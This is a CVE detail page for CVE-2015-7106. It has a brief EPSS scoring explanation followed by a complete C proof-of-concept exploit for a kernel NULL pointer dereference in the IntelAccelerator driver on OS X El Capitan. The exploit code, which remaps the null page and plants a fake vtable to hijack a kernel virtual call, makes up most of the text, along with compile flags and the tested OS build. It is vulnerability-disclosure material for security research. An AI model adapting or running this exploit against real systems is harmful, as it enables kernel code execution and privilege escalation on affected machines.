CVE-2015-7106 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=595 The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod. In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141. Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ // ianbeer /* Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0 The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod. In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141. Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = 'A'; } CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); uint64_t* obj_ptr = malloc(0x1000); uint64_t* obj = malloc(0x1000); uint64_t* vtable = malloc(0x1000); uint64_t kernel_rip = 0xffff800041414141; vtable[0x70/8] = kernel_rip; *obj = (uint64_t)vtable; *obj_ptr = (uint64_t)obj; *((uint64_t*)0x28) = (uint64_t)obj_ptr; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0; outputScalarCnt = 0; outputStructCnt = 0; inputStructCnt = 0x1000; err = IOConnectCallMethod( conn, 0x206, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } }